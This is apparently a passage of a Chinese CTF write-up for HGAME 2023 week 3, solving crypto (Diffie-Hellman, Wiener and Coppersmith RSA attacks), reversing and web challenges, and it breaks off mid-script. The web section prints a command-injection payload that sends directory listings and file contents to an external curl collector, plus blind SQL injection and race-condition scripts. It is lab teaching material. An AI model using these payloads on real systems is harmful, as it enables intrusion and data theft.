HGAME 2023 将于 1 月 5 日 20:00 正式开始，祝大家玩得开心 :-)
线上赛平台：https://hgame.vidar.club
请尽快注册，注册时请选择校外选手，注册将于 1 月 12 日 20:00 关闭
本次比赛的奖励事宜以及赛后沟通反馈以邮件为主，请各位使用真实的邮件地址
比赛奖金(针对校外榜)：
第1名：1000Pwnhub金币
第2名：800Pwnhub金币
第3名：600Pwnhub金币
4-10名：300Pwnhub金币
补充说明：排行榜分数相同者，以先达到该分数的时间次序划定排名，每位获奖选手额外赠送 Pwnhub 邀请码一个
注意：
* 所有选手均以个人为单位参赛；
* 在解题过程中遇到瓶颈或困难可以私聊出题人
* 禁止所有破坏比赛公平公正的行为，如：散播或与其他人交换 Flag、解题思路，对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。
* HGAME 线上赛分为四周，每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论，但仅能讨论已结束的题目。
* 每周比赛结束后本周前20名需提交wp到指定邮箱
本比赛最终解释权归 Vidar-Team 所有

Rank: 7

Misc

Tunnel

> Just a very very very safe tunnel.
>
> HINTS:
>
> 由于附件有问题分数下调至50分

16进制查看器，搜索 `hgame` ，有 `hgame{ikev1_may_not_safe_aw987rtgh}`。

Crypto

ezDH

> 这大过年的，Bob给Alice发了什么消息呢

```python
from sage.all import *
from Crypto.Util.number import *
from secret import Alice_secret, Bob_secret, FLAG
import random

f = open('output', 'w')

N=0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2

A = power_mod(g, Alice_secret, N)
f.write("Alice send to Bob: {{ 'g': {g}, 'A': {A} }}\n".format(g=g, A=hex(A)))
B = power_mod(g, Bob_secret, N)
f.write("Bob send to Alice: {{'B': {B} }}\n".format(B=hex(B)))

shared_secret = pow(A, Bob_secret, N)

p=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a=-3
b=109384903807373427451111239076680556993620759895168374899458639449595311615073501601370873757375962324859213229670631330943845253159101291214232748847898598 4
E = EllipticCurve(GF(p), [a, b])
G = E.random_point()
Pa = shared_secret * G
f.write(f"Alice send to Bob: {{ 'E': {E}, 'G': {G.xy()}, 'Pa': {Pa.xy()} }}\n")

k = random.randint(2, p)
```

```
m = E.lift_x(Integer(bytes_to_long(FLAG)))
P1 = k * G
P2 = k * Pa
c = m + P2
f.write(f"Bob send to Alice: {{ {P1.xy()}, {c.xy()} }}\n")
```

N 为质数，$N-1$ 足够光滑，DLP易求，再利用 $c = m + P_2 = m + kP_a = m + ksG = m + sP_1$，代入 c, s, P_1 求得 m。

```
N =
0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b1
2e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0
749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2
A =
0x22888b5ac1e2f490c55d0891f39aab63f74ea689aa3da3e8fd32c1cd774f7ca79538833e9348aebfc8eba16e850bbb94c35641c2e7e7
e8cb76032ad068a83742dbc0a1ad3f3bef19f8ae6553f39d8771d43e5f2fcb986bd72459456d073e70d5be4d79ce5f10f76edea01492f1
1b807ebff0faf6819d62a8e972084e1ed5dd6e0152df2b0477a42246bbaa04389abf639833
B =
0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e566e04d416e684c0c379d5819734fd4a09d80add1b331
0d76f42fcb1e2f5aac6bcdd285589b3c2620342deffb73464209130adbd3a444b253fc648b40f0acec7493adcb3be3ee3d71a00a2b121c
65b06769aada82cd1432a6270e84f7350cd61dddc17fe14de54ab436f41b9c9a0430510dde

b = discrete_log(mod(B,N),mod(g,N))
s = pow(A,b,N)

p =
6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a = -3
b =
1093849038073734274511112390766805569936207598951683748994586394495953116150735016013708737573759623248592132296706313309438452531591012912142327488478985984
E = EllipticCurve(GF(p), [a, b])
G =
E(620587791833377028732340367054366173412917008595419876782086196226117420264697637918173525775986776065583571184514432647061388239544597548221986982821097591 5,
347535195690904481213026691458719989524886744966929002176412687027169299516020186056430220674837395097989107170518346540018600670937650138232562485101226120 6)
Pa =
E(213191673475922432382213210371345094237212785797549144899875373479638781013940771308162354046377154784460080640172356233418521453051609515282441392485487469 8,
169032261313667135064656929704495132745450693412465665304632134108795805972280912050099909149309788069588877756348621217979803735015143931053894871927146777 3)
P1 =
E(203263895957573779855373423895317706567102111245000247182422573449173560460000302849172913144573443244251020195597747240872841522701874646725010708048307364 7,
351014708079375013375164693001868752712893817578671426990260450270024894815429985398025078158378962383863124452064911307166476789796461190212041114202784886 8)
c =
E(667037343734418040412798382148217814937411681754468809498641263157585402138545967685447533506836969887598813500969818725552350184101343089213337157798748052 2,
664896442603467730418986290291745832884548404781870759832907980673234627484895574770071610198320716534731591618207692876407660200884669504918187418770705139 5)
m = c - s*P1
print(bytes.fromhex(hex(m[0])[2:]))

# b'hgame{Weak_p@ramet3r_make_DHKE_broken}'
```

RSA 大冒险2

> 好耶，又是大冒险！
>
> HINTS:
>
> Challenge 3: p泄漏的位数不够多，导致coppersmith方法解不出来，那么有没有什么办法能够扩大coppersmith的界呢？注意coppersmith方法使用了LLL算法，那么这个界和格基又有什么关系呢？

```
# challenge1.py
from Crypto.Util.number import *
from math import isqrt
from challenges import chall1_secret

class RSAServe:
    def __init__(self) -> None:
        def create_keypair(size):
```

```
            while True:
                p = getPrime(size // 2)
                q = getPrime(size // 2)
                if q < p < 2*q:
                    break
            N = p*q
            phi = (p-1)*(q-1)
            max_d = isqrt(isqrt(N)) // 3
            max_d_bits = max_d.bit_length() - 1
            while True:
                d = getRandomNBitInteger(max_d_bits)
                try:
                    e = int(inverse(d, phi))
                except ZeroDivisionError:
                    continue
                if (e * d) % phi == 1:
                    break
            return N, e, d
        self.N, self.e, self.d = create_keypair(1024)
        self.m = chall1_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_ ,self.e, self.N)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return {"N":self.N, "e":self.e}
```

```
# challenge2.py
from Crypto.Util.number import *
from challenges import chall2_secret

def next_prime(p):
    k=1
    while True:
        if isPrime(p+k):
            return p+k
        k+=1

class RSAServe:
    def __init__(self) -> None:
        def creat_keypair(nbits, beta):
            p = getPrime(nbits // 2)
            q = next_prime(p+getRandomNBitInteger(int(nbits*beta)))
            N = p*q
            phi = (p-1)*(q-1)
            while True:
                e = getRandomNBitInteger(16)
                if GCD(e, phi) == 2:
                    break
            d = inverse(e, phi)
            return N, e, d
        self.N, self.e, self.d = creat_keypair(1024, 0.25)
        self.m = chall2_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.N)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return {"N":self.N, "e":self.e}
```

```
# challenge3.py
from Crypto.Util.number import *
from challenges import chall3_secret

class RSAServe:
    def __init__(self) -> None:
        def create_keypair(nbits):
            p = getPrime(nbits // 2)
            q = getPrime(nbits // 2)
```

```
            N = p*q
            phi = (p-1)*(q-1)
            e = 65537
            d = inverse(e, phi)
            leak = p >> 253
            return N, e, d, leak
        self.N, self.e, self.d, self.leak = create_keypair(1024)
        self.m = chall3_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.N)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return {"N":self.N, "e":self.e, "leak":self.leak}
```

求解三层RSA拿flag。

第一层，$q < p < 2q, d < \frac{1}{3}N^{\frac{1}{4}}$，满足Wiener Attack条件。

```
def factor_rsa_wiener(N, e):
    N = Integer(N)
    e = Integer(e)
    cf = (e / N).continued_fraction().convergents()
    for f in cf:
        k = f.numer()
        d = f.denom()
        if k == 0:
            continue
        phi_N = ((e * d) - 1) / k
        b = -(N - phi_N + 1)
        dis = b ^ 2 - 4 * N
        if dis.sign() == 1:
            dis_sqrt = sqrt(dis)
            p = (-b + dis_sqrt) / 2
            q = (-b - dis_sqrt) / 2
            if p.is_integer() and q.is_integer() and (p * q) % N == 0:
                p = p % N
                q = q % N
                if p > q:
                    return (p, q)
                else:
                    return (q, p)

N =
13754971154727750149051265225322370500989673903321320645042718522763374062538839238260450779690892388340960322
20562053909073555673452035515447821142791728649594023203007537483330206875303653526306476875573101694597363183
29569719516536939612675375837585785285970788429934265825996569888095986259096503876786157
e =
93353589564181636718027173778502268418513041301835540045681119331234573983360292187550959060357949657609295815
89706902467372258914433848710105873468890642414503797355978052170311130298956197356365772518691452291749540111
15009515197753766919116677952391108696531216825821840134952825317685288021392726519174 41
c =
0x24e544c4b398ed0812a1739127c026d2b8eeba2b1e5c9221a6debaa9ebfeb134c6dfcbcf3142ec2723b6990d25d4bb0d7f14e4034c4a
8be71d46015e6ae65cc8e1872f62860e5b89cd59f48420e9a3e85dcbdf34c850688046026fcf4ffb504baef704ff049f49494bbfb05624
a30c542051fada959dff52fefc378489e20c60
p, q = factor_rsa_wiener(N, e)
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,N)
print(bytes.fromhex(hex(m)[2:]))
# b'wiener_attack_easily!!!'
```

第二层，已知 p 高位攻击+ $\gcd(e, \varphi) = 2$ 情形，coppersmith+AMM算法。

```
import gmpy2

N =
68414473664421192639324860086304622601462638941429703900601142401666806262479832339441486761549640560858310048
11054175819698093768174530668452611861369408858595310943282379346790661148095309387786759701726969380937718844
25235481606284790899520315155412993958120907999923651480533279374076525508188537702419 59
e = 62830
```

```
c =
0x520ba82a569ea52f16b84c4415186cd616680131e3ac6eda886fea046b18b0e1326d4acbbfb8840dc8064211cd44c30b911488360484
34a3f57dd4ec5a5cdaf005a0f8f2c95ee7d9a739505b01e407acd3441dd088f64a2a0c36e43c520e30bd90bb32ec1125e4bb1f4e7d5225
96898da22c9a7921ac5da96808ee39c98e131f
pbits = 512

find = 0
for i in range(10):
    for j in range(2**i):
        p4 = Integer(gmpy2.iroot(N,2)[0])>>256
        p4 = (p4<<i) + j
        kbits = pbits - p4.nbits()
        p4 = p4 << kbits
        PR.<x> = PolynomialRing(Zmod(N))
        f = x + p4
        roots = f.small_roots(X=2^kbits, beta=0.5)
        if roots:
            p = p4+int(roots[0])
            if N%p == 0:
                print(p)
                find = 1
                break
    if find == 1:
        break

q = N // p
f = (p-1)*(q-1)
d = inverse_mod(e//2,f)
cc = pow(c,d,N)

P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^2-cc
mps=f.monic().roots()

P.<a>=PolynomialRing(Zmod(q),implementation='NTL')
g=a^2-cc
mqs=g.monic().roots()

for mpp in mps:
    x=mpp[0]
    for mqq in mqs:
        y=mqq[0]
        solution = hex(CRT_list([int(x), int(y)], [p, q]))[2:]
        if len(solution) % 2 == 0:
            print(bytes.fromhex(solution))
# b'how_to_solve_e_and_phi_uncoprime_condision'
```

第三层，已知 p 高位攻击，但泄露位数过少，位爆破+调节参数扩大格范围。

```
from tqdm import *

n =
68340867186438223292118569682710524595966327481168801678255800028919163918249557519447553078528255888326840419
62171690872988023524423045990053948687994342176158661172694275777574262407008817624636812899007745996600657928
50285947298010173908169030037045411097578468680733626400370198131282206571145585201070 57

pbits = 512

for i in trange(2**5):
    p4 = 53132081941037525895265839558291528587863641077233226624584979015342072486 5787<<(253-248)
    p4 = p4 + i
    kbits = pbits - p4.nbits()
    p4 = p4 << kbits
    PR.<x> = PolynomialRing(Zmod(n))
    f = x + p4
    roots = f.small_roots(X=2^kbits, beta=0.4, epsilon=0.01)
    if roots:
        p = p4+int(roots[0])
        if n%p==0:
            print(i,p)
            break

q = n//p
e = 65537
c =
0x29d543c73f4175f22440eef5954184e9d740cd3785011d560431861ccf6c4ff380d46ad948f9888e8cac2f5e38ce5e994f023d7195b7
8439b90d53ad23a730cc99b1b75dae1aba416cb6e645c5d135de906be54f344daba47a10492183d03211bfbaa45c09be2bb1913b1453e0
538db95c56140cb78dd9c43d21f8312245ef7d
f = (p-1)*(q-1)
d = inverse_mod(e,f)
```

```
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
# b'now_you_know_how_to_use_coppersmith'
```

三次提交正确得flag：`hgame{U_mus7_b3_RS4_M@ster!!!}`。

ezBlock

> 兔兔拜年的时候遇到了 yolande ，yolande 说她之前在写差分攻击脚本，问兔兔要不要学习一下，还说如果遇到问题可以看看 The Block Cipher Companion.

```
from secret import flag


def s_substitute(m):
    c = 0
    s_box = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 0x1, 9: 0xf, 10: 0x3, 11: 0xd, 12: 0x8,
             13: 0xa, 14: 0x9, 15: 0xb}
    for i in range(0, 16, 4):
        t = (m >> i) & 0xf
        t = s_box[t]
        c += t << i
    return c


def enc(m, key):
    n = len(key)
    t = m
    for i in range(n - 1):
        t = t ^ key[i]
        t = s_substitute(t)
    c = t ^ key[n - 1]
    return c


f = flag[6:-1]
assert flag == 'hgame{' + f + '}'
key = [int(i, 16) for i in f.split('_')]
print(len(key))
m_list = [i * 0x1111 for i in range(16)]
c_list = [enc(m, key) for m in m_list]
print(c_list)

# 5
# [28590, 33943, 30267, 5412, 11529, 3089, 46924, 59533, 12915, 37743, 64090, 53680, 18933, 49378, 23512, 44742]
```

正常考点应该是四轮S盒差分攻击，`xxxx_xxxx_xxxx_xxxx_xxxx` 分割得到5组key，测试发现5组key的每4位（每1个16进制数）为一组作为输入，得到的输出是固定不变的，采用爆破方式可解，所需遍历次数为 $4 \cdot 16^5 = 4194304$。

```
from tqdm import *
from itertools import product

m = [i * 0x1111 for i in range(16)]
c = [28590, 33943, 30267, 5412, 11529, 3089, 46924, 59533, 12915, 37743, 64090, 53680, 18933, 49378, 23512, 44742]
m = [[(k >> i) & 0xf for i in range(0, 16, 4)] for k in m]
c = [[(k >> i) & 0xf for i in range(0, 16, 4)] for k in c]
#print(m)
#print(c)

m = [[k[i] for k in m] for i in range(4)]
c = [[k[i] for k in c] for i in range(4)]
print(m)
print(c)

def s_substitute(m):
    c = 0
    s_box = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 0x1, 9: 0xf, 10: 0x3, 11: 0xd, 12: 0x8,
             13: 0xa, 14: 0x9, 15: 0xb}
    for i in range(0, 16, 4):
        t = (m >> i) & 0xf
        t = s_box[t]
        c += t << i
    return c
```

```python
def enc(m, key):
    n = len(key)
    t = m
    for i in range(n - 1):
        t = t ^ key[i]
        t = s_substitute(t)
    c = t ^ key[n - 1]
    return c

m_list = [i * 0x1111 for i in range(16)]
finalkey = ['']*5

dic = '0123456789abcdef'
allc = list(product(dic,repeat=5))
for i in range(4):
    for k in tqdm(allc):
        key = [(int(x, 16))<<(4*i) for x in k]
        c_list = [enc(m, key) for m in m_list]
        out = [(k >> (4*i)) & 0xf for k in c_list]
        if out == c[i]:
            print(i,k)
            for j in range(5):
                finalkey[j] = k[j] + finalkey[j]
            break

print('hgame{'+'_'.join(finalkey)+'}')

# 0 ('2', '3', '2', '0', '5')
# 1 ('4', '9', '9', '7', 'd')
# 2 ('f', '4', 'f', '5', '8')
# 3 ('4', 'f', '4', '4', 'd')
# hgame{4f42_f493_4f92_4570_d8d5}
```

Web

Ping To The Host

> 一个用来输入ip的ping工具，我可以用它来做些什么？

无回显命令注入，外带即可。空格使用 `$IFS$9` 绕过。

列目录：`ip=x|curl$IFS$9https://enm8badfmuoOf.x.pipedream.net/?p=`ls$IFS$9/|base64`` ，得到flag文件名为 `flag_is_here_haha` ；

读文件：`ip=x|curl$IFS$9https://enm8badfmuoOf.x.pipedream.net/?p=`uniq$IFS$9/f*|base64`` ，得到 `aGdhbWV7cDFuR19OMF9Db21NNG5EXOV4ZWNVdDFvbl9kQW5nRXJSclJyUnJSIXOK` ，base64解码得 `hgame{p1nG_tO_ComM4nD_ExecUt1on_dAngErRrRrRrR!}` 。

Login To Get My Gift

> R1esbyfe：“想必你上周已经找到了我留给你的惊喜，这次我又藏了一个”
>
> 兔兔想起了上周R1esbyfe学长教的sql基础知识与运用方法，是时候将他们派上用场了
>
> R1esbyfe：“给你个用户名为testuser，密码为testpassword的test账户吧，不过只有真正的管理员才能得到惊喜:D 别想了，管理员用户名可不是admin”
>
> After login, you can visit:
>
> /index -> Only for test users
>
> /home -> Only for admin users

fuzz测试，发现过滤了空格、等号、substr、mid等，等号用 `regexp` 绕过，`substr()` 用 `right(left())` 绕过来取字符。布尔盲注：

```python
import requests

url = "http://week-3.hgame.lwsec.cn:31673/login"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
```

```
    while head < tail:
        mid = (head + tail) >> 1
        #payload = f'if(ascii(right(left((select(database())),{i}),1))>{mid},1,0)'
        #payload =
f'if(ascii(right(left((select(group_concat(table_name))from(information_schema.tables)where((table_schema)rege
xp("LOg1NMe"))),{i}),1))>{mid},1,0)'
        #payload =
f'if(ascii(right(left((select(group_concat(column_name))from(information_schema.columns)where((table_schema)re
gexp("LOg1NMe"))),{i}),1))>{mid},1,0)'
        payload =
f'if(ascii(right(left((select(group_concat(PAsswOrD,"~",UsErN4me))from(LOg1NMe.User1nfOmAt1on)),{i}),1))>
{mid},1,0)'
        data = {
            'username': 'testuser',
            'password': f"1'^({payload})^'0"
        }
        r = requests.post(url,data=data)
        #print(r.text)
        if "Success!" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
```

分别得到：

```
database: LOg1NMe
table: User1nfOmAt1on
column: id,PAsswOrD,UsErN4me
flag: WeLcOmeTOhgAmE2023~hAPPySqlhgAmE2023HAppYnEwyEAr,testpassword~testuser
```

使用账密 `WeLcOmeTOhgAmE2023/hAPPySqlhgAmE2023HAppYnEwyEAr` 登录，得flag：`hgame{It_1s_1n7EresT1nG_TO_ExPLORe_Var1Ous_Ways_To_Sql1njEct1on}`。

Gopher Shop

> 今天是大年初二！兔兔迈着开心的步伐走到了一教，据说每逢寒假HGAME期间，300b就会有Vidar大商场，每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步，Gopher？听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品，攥着手里的10个Vidar币，兔兔走进了商店...

在 `/buyProduct` 路由处利用竞争买flag。

```
import requests
import threading

def req():
    url = 'http://week-3.hgame.lwsec.cn:30875/api/v1/user/buyProduct?product=Flag&number=1'
    headers =
{'Cookie':'SESSION=MTY3NDQ5MTUzNHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkR
BY0FCV0ZrYldsdXz3P-nsnRLwqBHiy3dxz3pgu8nGGORBOuHQaWl7ObqsvQ==;
session=MTY3NDc0MzkzM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpmLUNBQUVHYzNSeWFXNW5EQW9BQ0hwelpYSnVZVzFsQm5OMGNtbHVad3dGQU
FOaFlXRT18psiHGgZdURTbYwyW0lTiIA-D7mSOkxe9mu-kLSib2NI='}
    r = requests.get(url=url, headers=headers)

for i in range(10000):
    threading.Thread(target=req).start()
```

最后点击checkflag得到flag：`hgame{GopherShop_M@gic_1nt_Overflow}`。

Reverse

kunmusic

> 小黑子，露出鸡脚了吧？

kmusic.dll为.NET程序，ILSpy打开，在 `Program` 类找到类似SMC反调试的异或操作：

```
using System;
using System.Reflection;
using System.Windows.Forms;
```

```
using kmusic;
using kmusic.Properties;

internal static class Program
{
    private static Form1 form1 = new Form1();

    private static void Main()
    {
        ApplicationConfiguration.Initialize();
        byte[] data = Resources.data;
        for (int i = 0; i < data.Length; i++)
        {
            data[i] ^= 104;
        }
        Activator.CreateInstance(Assembly.Load(data).GetType("WinFormsLibrary1.Class1"), form1);
        Application.Run((Form)(object)form1);
    }
}
```

在资源部分找到 `Resources.data`，导出，异或104还原出另一个.NET程序，在 `Class1` 类中找到关键逻辑：

```
using System;
using System.IO;
using System.Media;
using System.Windows.Forms;
using kmusic;
using kmusic.Properties;

public class Class1
{
    private int[] num = new int[13];

    ...

    public void music(object sender, EventArgs e)
    {
        //IL_0ade: Unknown result type (might be due to invalid IL or missing references)
        //IL_0ae9: Unknown result type (might be due to invalid IL or missing references)
        if (num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] -
52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840
+ (num[12] ^ 0x525F) == 12702282 && num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 +
num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) +
(num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 && num[0] - 64801 + num[1] - 60698 + num[2]
- 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] +
41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 && num[0] + 61538 +
num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] -
20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 &&
num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 +
num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 +
num[12] - 62345 == 14020739 && num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] *
31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] -
54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 && num[0] + 16689 + num[1] - 10279 + num[2] - 32918 +
num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) +
(num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 && num[0] + 28740 + num[1] -
64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] -
33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 &&
(num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 +
(num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 +
num[12] + 14780 == 3504803 && num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) +
(num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 +
num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 && num[0] * 57492 + (num[1] ^ 0x346D) +
num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8]
+ 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 && num[0] -
23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^
0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12]
+ 62510 == 11333836 && num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^
0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10]
+ 62231 + num[11] + 19456 + num[12] - 13195 == 13863722)
        {
            int[] array = new int[47]
            {
                132, 47, 180, 7, 216, 45, 68, 6, 39, 246,
                124, 2, 243, 137, 58, 172, 53, 200, 99, 91,
                83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
                216, 36, 11, 80, 39, 162, 97, 58, 236, 130,
                123, 176, 24, 212, 56, 89, 72
            };
            string text = "";
            for (int i = 0; i < array.Length; i++)
```

```
            {
                text += (char)(array[i] ^ num[i % num.Length]);
            }
            new SoundPlayer((Stream)Resources.过年鸡).Play();
            MessageBox.Show(text);
        }
    }

    ...
}
```

提取判断条件，用z3求解：

```
from z3 import *

c = [132, 47, 180, 7, 216, 45, 68, 6, 39, 246, 124, 2, 243, 137, 58, 172, 53, 200, 99, 91, 83, 13, 171, 80,
108, 235, 179, 58, 176, 28, 216, 36, 11, 80, 39, 162, 97, 58, 236, 130, 123, 176, 24, 212, 56, 89, 72]

num = [BitVec(f'num{i}',8) for i in range(13)]
s = Solver()

s.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 +
num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 +
(num[12] ^ 0x525F) == 12702282 )
s.add( num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] *
47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] +
13299 + num[12] - 50966 == 9946829 )
s.add( num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506)
+ (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590
+ num[12] + 58225 == 2372055 )
s.add( num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 +
num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) +
num[12] + 25329 == 6732474 )
s.add( num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390
+ num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780
+ num[12] - 62345 == 14020739 )
s.add( num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189
+ num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 +
(num[12] ^ 0x3099) == 14434062 )
s.add( num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 +
(num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] +
31751 + num[12] * 8421 == 7433598 )
s.add( num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^
0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] +
48342 + num[12] * 56511 == 7989404 )
s.add( (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] -
48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] -
30343 + num[12] + 14780 == 3504803 )
s.add( num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] *
59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] +
33480 + (num[12] ^ 0x4175) == 11003580 )
s.add( num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] +
9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] *
49694 + (num[12] ^ 0x2501) == 25546210 )
s.add( num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648
